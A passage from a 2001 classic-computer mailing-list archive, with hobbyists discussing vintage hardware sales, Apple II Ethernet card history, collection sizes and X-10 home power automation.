bugs. He said there shouldn't be any compatibility problems between the board and most OS's. Jeff From chomko at greenbelt.com Tue Jun 26 12:56:49 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:56 2005 Subject: stuff for sale and some free, plus shipping Message-ID: <3B38CCE1.EFCC017F@greenbelt.com> I have the following items for sale: TTY paper canary yellow. See at: http://www.greenbelt.com/chomko/images/TTYrolls2.jpg $5 a roll, plus $5 shipping per roll in the continental US. Also, for free, but pay shipping: Sun Node Warrrior boards. See at: http://www.greenbelt.com/chomko/images/SunNodeWarrior.JPG free!, plus actual shipping. From rmeenaks at olf.com Tue Jun 26 13:05:27 2001 From: rmeenaks at olf.com (Ram Meenakshisundaram) Date: Sun Feb 27 19:04:56 2005 Subject: Dutch auction for 20 T8 transputer cpus on ebay.... Message-ID: <3B38CEE7.1633BB14@olf.com> Hi, A dutch auction for 20 T800 Transputer chips is currently running: http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=1250072346 Its a bit pricey IMHO, but with the shortage of T8s in general, it should go pretty fast. Any commercial users of transputers out there???? Ram -- ,,,, /'^'\ ( o o ) -oOOO--(_)--OOOo------------------------------------- | Ram Meenakshisundaram | | Senior Software Engineer | | OpenLink Financial Inc | | .oooO Phone: (516) 227-6600 x267 | | ( ) Oooo. Email: rmeenaks@olf.com | ---\ (----( )-------------------------------------- \_) ) / (_/ From foo at siconic.com Tue Jun 26 12:07:19 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:56 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: <200106261727.LAA12999@calico.litterbox.com> Message-ID: On Tue, 26 Jun 2001, Jim Strickland wrote: > Do remember that at the time PC ethernet cards were gruesomely > expensive too. Even in 1990, when I went to grad school, the fact that > I got a NIC through the housing department for *only* $129 was a real > bargain. And the housing department was buying them in bulk and > splitting up the packages and selling at cost, retail was still much > more expensive. > > Also remember that in 1984, PCs were struggling to catch up to the A2 > in terms of capability and were perhaps twice the price, and that > 1984 was the year the Macintosh was *born*. It was a different era, > and if you needed ethernet, it probably made sense. I hear your arguments but I still point to the fact that this is the only card of this manfuacturer to ever surface (as far as we know) leading me to speculate not many were sold, and most likely because of the cost. I don't recall many people clamoring to build Apple ][ ethernet networks back in the 80s. Maybe Corvus networks, but networks of Apple ][s in general just weren't the norm (I never saw any). Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From steven_j_robertson at hotmail.com Tue Jun 26 13:09:19 2001 From: steven_j_robertson at hotmail.com (Steve Robertson) Date: Sun Feb 27 19:04:56 2005 Subject: On Topic: power control Message-ID: > >The sticky bit would be that the 3000's terminal I/O is essentially >one-way-at-a-time: if the terminal device doesn't have a read request >posted, then most data sent from the attached device will be discarded >(the exceptions being break and subsystem break indications). And >trying to do anything else with the terminal device will involve >aborting the read request, doing the something else, and starting a new >read request. > >If the OPTO22 protocol can work around this, you're probably OK. >Otherwise, you will probably need to build a front-end processor of >some sort. > >If you have questions, feel free to ask, but my COBOL is rustier than >my SPL, and so I will probably present terminal I/O examples in the >latter with heavy [ab]use of MPE intrinsics. > With the exception of a few watchdog functions (which I wouldn't be using anyway), all OPTO22 communications are done through polling. So, that shouldn't be too big a hurdle. Since I've never done any terminal I/O programming on the 3000, I decided to start with the 9000 which is much more familiar. Once I have a proof of concept running, I can port it back to the older box. SteveRob _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From cmurillo at emtelsa.multi.net.co Tue Jun 26 11:50:49 2001 From: cmurillo at emtelsa.multi.net.co (Carlos Murillo) Date: Sun Feb 27 19:04:56 2005 Subject: Punched card readers In-Reply-To: <200106232248.f5NMmsg35573@bg-tc-ppp896.monmouth.com> References: Message-ID: <3.0.2.32.20010626125049.00f6a26c@obregon.multi.net.co> At 06:48 PM 6/23/01 -0400, you wrote: >> Straying a bit off topic, can someone explain why the Navy, a branch of >> the US military, requiring rock solid, uncompromising stability in the >> systems that control their vessels, in their infinite procedural and >> compliance wisdom, would choose Windows NT to control battleships? >> Sellam Ismail > >The NT wasn't the problem. It was their database app not handling a >mistake -- a 0 input into a field that it didn't validate >led to a divide by zero error their app didn't handle. Yes, but in the version I heard, the database app's failure then succeeded in bringing down NT. That is unacceptable. Carlos. -------------------------------------------------------------- Carlos E. Murillo-Sanchez carlos_murillo@nospammers.ieee.org From mikeford at socal.rr.com Tue Jun 26 12:58:20 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:56 2005 Subject: Whats a reasonable collection? In-Reply-To: <4.3.2.7.0.20010626075036.01e09330@pc> References: <001901c0fdc1$74de1200$9cc762d8@idcomm.com> Message-ID: >Not everyone in the house needs a PC; I think I'm >more happy with one PC in a central room where I can Hmmm, I was thinking of cutting down to about 50 computers, about half networked and the other half as curiousities or spares. I have six areas that each need a working mac and pc, (5) main servers each running something different (Linux, NT, OS2, AppleShare (one 3.0.4 to boot IIgs systems, and one running a newer IP version)), fun servers (HP/ux on some Apollo's, various on older macs and PCs), dedicated systems (scanner, couple phone things, (2) CDR burners), various old systems running old software. I want to have as many different kinds of segments on my network as I can manage, which means running a model 95 OS/2 system to bridge between 10bt and tokenring on twinax. From mikeford at socal.rr.com Tue Jun 26 13:11:57 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:56 2005 Subject: On Topic: power control In-Reply-To: References: Message-ID: >I am going to be replacing all the doors in my house with electric pocket >doors controlled by MEI VME cards in a Sun 4/670. And then comes madness. ;) Are these going to go "whoosh"? What sort of cost are you figuring? From chomko at greenbelt.com Tue Jun 26 13:18:56 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:56 2005 Subject: Looking for info - En-link Ethernet card for the Apple II References: <20010626134551.13642.qmail@web9503.mail.yahoo.com> Message-ID: <3B38D210.CDF6C143@greenbelt.com> Ethan Dicks wrote: > --- Sellam Ismail wrote: > > Yeah, I can't imagine any organization in 1984 would be so serious about > > the Apple ][ that they'd be spending $1,250 for an ethernet card for each > > Apple ][ to build a network of them. > > My sarcasm detector is pinging madly, but I wanted to add that this same > organization probably also bought the Apple ][ mouse available about the > same timeframe for over $250! It was an original 9-pin boxy Mac mouse > and an Apple card. We added support for it for our line of children's > software sold through Reader's Digest - Micro Mother Goose and (not sure > since I didn't work on the product personally) Micro Habitats. The mouse > was flat out the best controller for our "London Bridgeout" game within > Micro Mother Goose. > > Just 'cuz ethernet cards are $9 now and mice sell for as little as $1 doesn't > mean they always did. You gotta remember the 1% rule (although it applies > more to systems than peripherals) - ten years later, you can get a computer > for 1% of its original purchase price. There are exceptions, of course, and > much later, say, twenty years, it's not as cheap as 1% anymore, but that's > due to scarcity and eBay fever. Wait now, my Mac II fx, was $10,000 when it came out, that means its worth $100 today? What's eBay fever? How can I get others to catch it? Eric > > > -ethan > > ===== > Visit "The Seventh Continent" > http://penguincentral.com/penguincentral.html > > __________________________________________________ > Do You Yahoo!? > Get personalized email addresses from Yahoo! Mail > http://personal.mail.yahoo.com/ From mikeford at socal.rr.com Tue Jun 26 13:25:54 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:56 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: <3B38B8BA.6000202@chisp.net> References: Message-ID: >Washed his hands of the whole thing - sold all of his Apple equipment >and destroyed all of the software he was developing. > >Turley is still Turley, though the main enemy now is Quantum_Cat - this >guy makes Mates and his rants look tame... It is still very possible to ask a question and get an answer without rolling in the mud over some ancient politics. I very seriously plan to write more Apple II software. Its been a few years (decades), but writing for the 6502 was a lot of fun, and just maybe I could do a couple usefull things. Can't say that I am at all excited about buying some expensive ethernet card though, localtalk is fine with me. From rhblake at bigfoot.com Tue Jun 26 13:33:37 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:56 2005 Subject: Whats a reasonable collection? In-Reply-To: Message-ID: I feel bad...Only 20 functionals in the house, but I do have over 150 varying PC's in my storage building, mostly PS/2's.... -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Mike Ford Sent: Tuesday, June 26, 2001 12:58 PM To: classiccmp@classiccmp.org Subject: Whats a reasonable collection? >Not everyone in the house needs a PC; I think I'm >more happy with one PC in a central room where I can Hmmm, I was thinking of cutting down to about 50 computers, about half networked and the other half as curiousities or spares. I have six areas that each need a working mac and pc, (5) main servers each running something different (Linux, NT, OS2, AppleShare (one 3.0.4 to boot IIgs systems, and one running a newer IP version)), fun servers (HP/ux on some Apollo's, various on older macs and PCs), dedicated systems (scanner, couple phone things, (2) CDR burners), various old systems running old software. I want to have as many different kinds of segments on my network as I can manage, which means running a model 95 OS/2 system to bridge between 10bt and tokenring on twinax. From allain at panix.com Tue Jun 26 13:37:01 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:56 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking References: <200106232234.f5NMYcQ35323@bg-tc-ppp896.monmouth.com> Message-ID: <018001c0fe6f$25ed2f60$8a0101ac@ibm23xhr06> > IBM came out with PC-DOS 7.0 (now renamed PC-DOS 2000). > They made it y2k compliant and all that. What are some of the symptoms of y2K incompliancy? I have been setting old machines (1994 -> before) to current dates and have been getting no trouble, at least as far as I could tell. John A. From spc at conman.org Tue Jun 26 13:38:48 2001 From: spc at conman.org (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 19:04:56 2005 Subject: Canon Cat In-Reply-To: from "Don Maslin" at Jun 25, 2001 02:53:30 PM Message-ID: <200106261838.OAA13056@conman.org> It was thus said that the Great Don Maslin once stated: > > On Mon, 25 Jun 2001, Curt Vendel wrote: > > > Hi everyone, > > > > The Canon Cat from Chris H arrived today and it is truly a wonderful > > little machine, he also included a video tape demonstration as well as about > > 25 handwritten pages of instructions for use of the machine. > > > > If anyone ever needs to take this system on loan for research, > > photography or use at a show or something, feel free to contact me. > > > > Curt, any chance of getting a copy of the notes and the video? They > would be a useful addition for the Cat that I also have. I too would like a copy of the notes, if possible. I'd even be willing to type the notes into digital format (if possible. Yes, I would *love* to see the notes). -spc (More interested in the software than the hardware ... ) From chomko at greenbelt.com Tue Jun 26 13:34:46 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:56 2005 Subject: X-10 (was Re: controlling power) References: Message-ID: <3B38D5C6.5208376@greenbelt.com> Mike Ford wrote: > > hey do you have any ideas about using relays or some thing connected > >to a parallel or aerial port to control the power to an outlet, you know > >like a dimmer switch controlling motors ETC if you have any thought > >or ideas I'd be glad to hear them. > > X10, why reinvent the wheel? > Does anyone on this list use X-10 in one of their systems? And if so, what for? Just curious. Eric > > or > > Rotten computer sent that before I could add > http://www.sophisticated.com/ currently mac oriented, but moving to USB and > all platforms. > > More generic stuff, looks pricey though. > http://www.dataprobe.com > > http://ecatalog.squared.com/catalog/html/sections/04/17204010.htm From mcguire at neurotica.com Tue Jun 26 13:45:01 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:56 2005 Subject: Whats a reasonable collection? In-Reply-To: RE: Whats a reasonable collection? (Russ Blakeman) References: Message-ID: <15160.55341.604899.950876@phaduka.neurotica.com> On June 26, Russ Blakeman wrote: > I feel bad...Only 20 functionals in the house, but I do have over 150 > varying PC's in my storage building, mostly PS/2's.... Wow, neat, why so many PS/2's? Do you just like 'em, or are you planning something diabolical? ;) -Dave McGuire From jfoust at threedee.com Tue Jun 26 13:43:59 2001 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 19:04:56 2005 Subject: Whats a reasonable collection? In-Reply-To: References: <4.3.2.7.0.20010626075036.01e09330@pc> <001901c0fdc1$74de1200$9cc762d8@idcomm.com> Message-ID: <4.3.2.7.0.20010626134257.01d38ef0@pc> At 10:58 AM 6/26/01 -0700, Mike Ford wrote: >>Not everyone in the house needs a PC; I think I'm >>more happy with one PC in a central room where I can > >Hmmm, I was thinking of cutting down to about 50 computers, about half >networked and the other half as curiousities or spares. I wasn't counting the number of computers at the office, and I didn't reveal how many P-133-class systems have their covers off in the other room. I didn't say I was cured, I said I was improving. :-) - John From mcguire at neurotica.com Tue Jun 26 13:45:54 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:56 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: X-10 (was Re: controlling power) (Eric Chomko) References: <3B38D5C6.5208376@greenbelt.com> Message-ID: <15160.55394.64999.951560@phaduka.neurotica.com> On June 26, Eric Chomko wrote: > > > hey do you have any ideas about using relays or some thing connected > > >to a parallel or aerial port to control the power to an outlet, you know > > >like a dimmer switch controlling motors ETC if you have any thought > > >or ideas I'd be glad to hear them. > > > > X10, why reinvent the wheel? > > Does anyone on this list use X-10 in one of their systems? And if so, > what for? Just curious. I use it to control most of the lights in my house...I like it a lot. -Dave McGuire From ClassicComputers at bouncy-castle.demon.co.uk Tue Jun 26 13:54:41 2001 From: ClassicComputers at bouncy-castle.demon.co.uk (Greg Elkin) Date: Sun Feb 27 19:04:56 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: References: <200106261727.LAA12999@calico.litterbox.com> Message-ID: <3B38E881.19417.9A50F4F@localhost> > I don't recall many people clamoring to build Apple ][ ethernet > networks back in the 80s. Maybe Corvus networks, but networks of > Apple ][s in general just weren't the norm (I never saw any). "Symbiotic Computer Systems" here in the UK produced network cards for the Apple ][ & //e's, fibre optic based things. I installed several systems in various businesses in the Midlands here, they also did hard drive (SymbFile) and tape storage systems, all around the 1982- 1984 era. Wish I knew where the things had all gone to now... greg From ethan_dicks at yahoo.com Tue Jun 26 14:04:33 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:56 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: <3B38D210.CDF6C143@greenbelt.com> Message-ID: <20010626190433.5529.qmail@web9506.mail.yahoo.com> --- Eric Chomko wrote: > Ethan Dicks wrote: > >You gotta remember the 1% rule (although it applies > > more to systems than peripherals) - ten years later, you can get a computer > > for 1% of its original purchase price. There are exceptions... > > due to scarcity and eBay fever. > > Wait now, my Mac II fx, was $10,000 when it came out, that means its worth > $100 today? I have purchased $10,000 systems ten years later for $100. I have also purchased $3,000 systems for $30. Personally, I would not pay as much as $100 for a IIfx. I might pay that much for a Quadra 950, but it had better have a bunch of RAM in it. I have been buying MacIIsi's for $5-$10 (to get the ethernet cards for SE/30's) and Quadra-600-series machines for <$20 lately. I got a working IBM Thinkpad (486) at Dayton, with case and modem for $20 and a docking station for $5. A few years ago, I passed up a Lisa at a Hamfest, complete with docs, software and printer - it sold later that day for $25. So about that 1%... I'll say this, though... it's not strictly linear. It's hard to find a computer at 1% that originally sold for $100. It's much easier at the $10,000 level. Something about price inelasticity at the low end... > What's eBay fever? How can I get others to catch it? eBay fever is what the guy at the hamfest had when I attempted to haggle over copies of David Ahl's books that he wanted $50 each for. When I made a counter-offer, he said, "I can get _at least_ $50 on eBay!" I asked him why he bothered to come to Dayton then, and wouldn't he just be happier somewhere else? I also left without even looking at anything else he had to buy. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From msell at ontimesupport.com Tue Jun 26 14:09:45 2001 From: msell at ontimesupport.com (Matthew Sell) Date: Sun Feb 27 19:04:56 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: <3B38D5C6.5208376@greenbelt.com> References: Message-ID: <5.0.2.1.0.20010626140427.02798910@127.0.0.1> I use the heck out of X-10 throughout the house. I use it for turning air filters on and off, automatically turning on lights using motion detectors, and making sure certain outlets and lights are shut off at night. I run all of this (about 30 devices) from two remote controls and a Linux box controlling a CM-11a interface (Radio Shack branded). The Linux box runs about 40 events, ranging from interacting between multiple devices from the remotes, to cycling devices to save electricity. The whole setup saves more electricity than it uses (including the computer running 24/7). It's great for turning on/off devices that are difficult to reach as well. I also use X-10 at parties to operate lighting effects. What a blast! - Matt At 02:34 PM 6/26/01 -0400, Eric Chomko wrote: >Mike Ford wrote: > > > > hey do you have any ideas about using relays or some thing connected > > >to a parallel or aerial port to control the power to an outlet, you know > > >like a dimmer switch controlling motors ETC if you have any thought > > >or ideas I'd be glad to hear them. > > > > X10, why reinvent the wheel? > > > >Does anyone on this list use X-10 in one of their systems? And if so, >what for? Just curious. > >Eric > > > > > > or > > > > Rotten computer sent that before I could add > > http://www.sophisticated.com/ currently mac oriented, but moving to USB and > > all platforms. > > > > More generic stuff, looks pricey though. > > http://www.dataprobe.com > > > > http://ecatalog.squared.com/catalog/html/sections/04/17204010.htm "One World, One Web, One Program" - Microsoft Promotional Ad "Ein Volk, Ein Reich, Ein Fuhrer" - Adolf Hitler Many thanks for this tagline to a fellow RGVAC'er... From rmeenaks at olf.com Tue Jun 26 14:17:17 2001 From: rmeenaks at olf.com (Ram Meenakshisundaram) Date: Sun Feb 27 19:04:56 2005 Subject: A little OT: List of users who is getting CSA Software/Manuals/Inmos Books Message-ID: <3B38DFBD.9040108@olf.com> Hi, Just to make it clear, all the transputer stuff is now gone. Here is a list of people and who is getting what: Hans Franke - one box of CSA transputer software Tony Eros - one box of CSA transputer software + Inmos ANSI C manuals Graham Scott - one box of CSA transputer software Michael Haas - one box of CSA transputer software + CSA transputer manuals Danny Rafferty - one box of CSA transputer software Dave Lowry - one box of CSA transputer software Jeff Shaw - one box of CSA transputer software If you have not already done so, please send me your addresses, so that I can find out what the shipping costs are. For others who werent so lucky, most of the software or equivalent to can be downloaded from my website at http://members.nbci.com/transputer. For others who is looking for a transputer, but doesnt have one, I suggest you take a look at the "transputing without transputers" section on my website..... Cheers, Ram From ethan_dicks at yahoo.com Tue Jun 26 14:19:33 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:56 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: <01Jun26.123308edt.119059@gateway.mediacen.navy.mil> Message-ID: <20010626191933.71595.qmail@web9507.mail.yahoo.com> --- Jeff Hellige wrote: > >Just 'cuz ethernet cards are $9 now... > > Not to mention that designing and producing a very low production board > such as the ethernet board for the IIGS surely isn't cheap. The volume just > isn't there to drive the price down. Absolutely. I sold the GG2 Bus+ board for $139 when it was new (they are now $99 ;-) only because I couldn't get people to pay more. I was competing against used Zorro ethernet boards that went for ~$200 so my board plus a $40 new ISA ethernet card was at least a little cheaper than a used Zorro card (had to compensate somehow for the fact that mine took up two slots). You could _do_ more with a GG2 Bus+ than just ethernet, but by 1996, nobody cared about adding serial ports or IDE disks. Lately, the value of an extra slot is more than it used to be, and there are multiple alternatives because the price of Amiga ethernet stayed so high for so long, more than one person decided to cash in on the market, such that it was. I know that I personally never have to worry about networking Amigas - I have more cards than I will ever own computers (and more blank PCBs than populated cards!) I've been kicking around the idea of an OMNIBUS SCSI card since I met cjl person-to-person for the first time in 1994. I've never really done much with the idea because I might as well make a prototype and publish the schematics because I don't see people coughing up enough money per board to fund even a run of 10. (Yes, I know there already is an OMNIBUS SCSI card; that's one of the things that cjl and I talked about; no, I don't have one; no, I've never seen one, let alone one for sale). The fact that anyone at all is considering making new hardware, at new costs for old machines that sell for pennies on the dollar (witness the IDE-64 or Jeri's new gfx board or this ethernet card, to name a few), is astonishing. The last C-64 I got cost me about $3. I dropped several times that to get a rev 1 IDE-64, and more than twice that for a hard disk for it (an HP 1.3" KittyHawk). How many other systems are there where the peripherals cost 25 times the base CPU? So either it's worth it, or it isn't. I wasn't shocked when I saw the price for the Apple II ethernet card. I would have been shocked if it had been $500. Still, as someone here (Mike Ford?) pointed out, LocalTalk is adequate. Considering the state of the TCP/IP stack (no router access?!?), I'm inclined to agree. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From jhellige at earthlink.net Tue Jun 26 14:21:00 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:57 2005 Subject: Punched card readers In-Reply-To: <3.0.2.32.20010626125049.00f6a26c@obregon.multi.net.co> Message-ID: <01Jun26.152509edt.119063@gateway.mediacen.navy.mil> on 6/26/01 12:50 PM, Carlos Murillo at cmurillo@emtelsa.multi.net.co wrote: > Yes, but in the version I heard, the database app's failure > then succeeded in bringing down NT. That is unacceptable. I know that there are a lot of problems with NT and legacy DOS apps. We still run a bunch of '95 systems here because of one legacy app that just totally belly's up if you try to run it on a NT workstation. NT also didn't like a number of custom database applications, some of which are only a few (4-5) years old. I believe Foxbase Pro is one of the apps we were having problems with. I work with NT everyday and would just as soon not have to.... Jeff From ethan_dicks at yahoo.com Tue Jun 26 14:28:33 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:57 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: Message-ID: <20010626192833.60897.qmail@web9504.mail.yahoo.com> --- Sellam Ismail wrote: > On Tue, 26 Jun 2001, Ethan Dicks wrote: > > > --- Sellam Ismail wrote: > > > Yeah, I can't imagine any organization in 1984 would be so serious about > > > the Apple ][ that they'd be spending $1,250 for an ethernet card for each > > > Apple ][ to build a network of them. > > No sarcasm at all. I just can't imagine a business in 1984, a time at > which the PC was becoming entrenched in the business environment, trying > to create a network of Apple ][s by purchasing a card that, as someone > else has pointed out, cost as much as the computer itself. I was writing software for the Apple ][ in 1984. We did not support the PC until very late in the company's life because there weren't enough of them in homes to make a difference (and before someone mentions it, that is _not_ why the company isn't around today - it was because Reader's Digest shut down their software division when the last founder died and returned our licenses to us and we weren't large enough to self-publish). In the workplace, the PC was three years old and was beginning to make inroads at large companies, but small companies still had Apple ]['s and CP/M cards (that's how our own boss did his books, for example). Besides, in 1984, most companies didn't have networks at all, let alone ethernet. It was too new and expensive. I worked at places after that with DEC minicomputers (VAXen and PDP-11s)... they used serial connections, with either DDCMP or perhaps Kermit! The first place I saw an ethernet was at Ohio State University. It was on some flavor of UNIX box, either a Sun or a Pyramid. As has also been mentioned here, Corvus was a significant player in the networking biz prior to 1984. In the Apple world, Localtalk dominated because so many of the later machines came with it. For the Apple ][, it was all about sneakernet. So I am actually surprised that anyone even made an Apple ][ ethernet card at all. The >$1,000 pricetag isn't surprising, given how much ethernet stuff cost in the old days. I also can't imagine there was much of a market. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From ethan_dicks at yahoo.com Tue Jun 26 14:35:29 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:57 2005 Subject: 1% (was Re: Looking for info - En-link Ethernet card for the Apple II) In-Reply-To: <20010626190433.5529.qmail@web9506.mail.yahoo.com> Message-ID: <20010626193529.55094.qmail@web9505.mail.yahoo.com> --- Eric Chomko wrote: > Ethan Dicks wrote: > > ...the 1% rule - ten years later, you can get a computer for 1% of its > > original purchase price. > > Wait now, my Mac II fx, was $10,000 when it came out, that means its worth > $100 today? I just re-read this and wanted to make sure I understood... did you mean it was worth _as much_ as $100 or _no more than_ $100? My assertion is the *max* value after 10 years tends towards 1%. It's a rough guide, not an inviolate figure, but for estimation, the real numbers should be closer to 1% than, say, 5%. This rule seperates computers from other forms of manufactured goods because they are rarely worth 1% or less while still functioning. Think of a car. Is a 10-year-old car worth 1%? Probably closer to 10%, maybe as much as 20% (collectables notwithstanding here). Is there ever a time in a car's life when it is worth 1% and still running? I doubt it, but I'm willing to entertain exceptions. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From mikeford at socal.rr.com Tue Jun 26 14:40:36 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:57 2005 Subject: Whats a reasonable collection? In-Reply-To: References: Message-ID: >I feel bad...Only 20 functionals in the house, but I do have over 150 >varying PC's in my storage building, mostly PS/2's.... Thats quite reasonable, you shouldn't feel bad. I have about the same "in storage", but unfortunately about as much in volume of parts also. 75% of my parts are of the "I will never personally use this, but someone might" category. The killer to getting rid of stuff, is that even the lowest of old junky bits really deserve one last chance at a new home. The logistics of that one last chance are what keeps them from getting tossed. From mikeford at socal.rr.com Tue Jun 26 14:57:12 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:57 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: <5.0.2.1.0.20010626140427.02798910@127.0.0.1> References: <3B38D5C6.5208376@greenbelt.com> Message-ID: >From time to time X10 has some GREAT intro deals http://www.x10.com/firecracker/fc_offer_br1ab.htm The firecracker starter kit is; wireless remote, dohicky for PC serial port (also wireless) wireless receiver/appliance (I think) module Lamp module on sale now for $39, but a couple times a year $5.90 shipped. Warning, if you signup for the email offers, expect one EVERY day. From rhblake at bigfoot.com Tue Jun 26 15:07:59 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:57 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: <3B38D5C6.5208376@greenbelt.com> Message-ID: For just about everything and since they came out with the CP290 computer interface years ago but have chaged to the smaller wall mount box since. I have a CP290 to sell if anyone might be interested - about $20 with manual and software (DOS and Windows) -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Eric Chomko Sent: Tuesday, June 26, 2001 1:35 PM To: classiccmp@classiccmp.org Subject: X-10 (was Re: controlling power) Mike Ford wrote: > > hey do you have any ideas about using relays or some thing connected > >to a parallel or aerial port to control the power to an outlet, you know > >like a dimmer switch controlling motors ETC if you have any thought > >or ideas I'd be glad to hear them. > > X10, why reinvent the wheel? > Does anyone on this list use X-10 in one of their systems? And if so, what for? Just curious. Eric > > or > > Rotten computer sent that before I could add > http://www.sophisticated.com/ currently mac oriented, but moving to USB and > all platforms. > > More generic stuff, looks pricey though. > http://www.dataprobe.com > > http://ecatalog.squared.com/catalog/html/sections/04/17204010.htm From pete at dunnington.u-net.com Tue Jun 26 15:10:02 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:04:57 2005 Subject: Paging: John Lawson In-Reply-To: Bruce Lane "Paging: John Lawson" (Jun 26, 7:24) References: <3.0.5.32.20010626072454.00a1d580@192.168.42.129> Message-ID: <10106262110.ZM2070@mindy.dunnington.u-net.com> Hi, Bruce. On Jun 26, 7:24, Bruce Lane wrote: > Please pardon the page, gang... > > John? Do you copy? If you would, please try to send E-mail to my > kyrrin@bluefeathertech.com address once again. I've received a firmware > update from Zyxel that should, supposedly, have fixed that SMTP problem. Well, I ain't John, but since I also had the same problem, I figure it won't hurt to test it... -- Pete Peter Turnbull Network Manager University of York From mikeford at socal.rr.com Tue Jun 26 15:04:57 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:57 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: <20010626192833.60897.qmail@web9504.mail.yahoo.com> References: Message-ID: People really wanted to network the Apple II, schools and industry both were VERY hot for the idea of a one central server to host all the software, with the Apples just as simple clients. No floppies to lose, easy backup, etc. etc. OTOH Apple wanted to sell macs, so they kept features away from the II and IIgs, to enchance or force migration to the mac. From webmaster at atari-history.com Tue Jun 26 18:33:04 2001 From: webmaster at atari-history.com (Curt Vendel) Date: Sun Feb 27 19:04:57 2005 Subject: Canon Cat References: <200106261838.OAA13056@conman.org> Message-ID: <3B391BB0.A1EA916F@atari-history.com> Seems like a lot of people do, I'll make a point of scanning them in tonight and posting a link. Curt Sean 'Captain Napalm' Conner wrote: > It was thus said that the Great Don Maslin once stated: > > > > On Mon, 25 Jun 2001, Curt Vendel wrote: > > > > > Hi everyone, > > > > > > The Canon Cat from Chris H arrived today and it is truly a wonderful > > > little machine, he also included a video tape demonstration as well as about > > > 25 handwritten pages of instructions for use of the machine. > > > > > > If anyone ever needs to take this system on loan for research, > > > photography or use at a show or something, feel free to contact me. > > > > > > > Curt, any chance of getting a copy of the notes and the video? They > > would be a useful addition for the Cat that I also have. > > I too would like a copy of the notes, if possible. I'd even be willing to > type the notes into digital format (if possible. Yes, I would *love* to see > the notes). > > -spc (More interested in the software than the hardware ... ) From stefan at softhome.net Tue Jun 26 15:40:00 2001 From: stefan at softhome.net (Stefan) Date: Sun Feb 27 19:04:57 2005 Subject: Whats a reasonable collection? In-Reply-To: References: Message-ID: <5.1.0.14.0.20010626222842.0286c060@pop.softhome.net> Anybody who collects, even if just 1 machine, is helping preserving some part of history. I myself have more than 140 different machines and all kinds of parts and stuff, mostly non ibm-compatibles. Things in my collection vary from small punch card machines (want more of those) to game consoles. There are a few brands/types that I don't collect like Sinclair and MSX but I usually swap those if I find any. My collection has been on a bit of a hold because of space limitations but I am still in the progress of getting loads more space in the form of a cellar under an old library ;) When I get that things will probably really start to get going if I push it a bit, maybe together with the Dutch Computer Collection Association since there are some real gems with some company's in The Netherlands that really need picking up because of bad conditions. Hmm that reminds me that I should call the person sometime again.... Stefan Mansier. http://www.oldcomputercollection.com At 12:40 26-6-01 -0700, you wrote: > >I feel bad...Only 20 functionals in the house, but I do have over 150 > >varying PC's in my storage building, mostly PS/2's.... > >Thats quite reasonable, you shouldn't feel bad. > >I have about the same "in storage", but unfortunately about as much in >volume of parts also. 75% of my parts are of the "I will never personally >use this, but someone might" category. > >The killer to getting rid of stuff, is that even the lowest of old junky >bits really deserve one last chance at a new home. The logistics of that >one last chance are what keeps them from getting tossed. From ard at 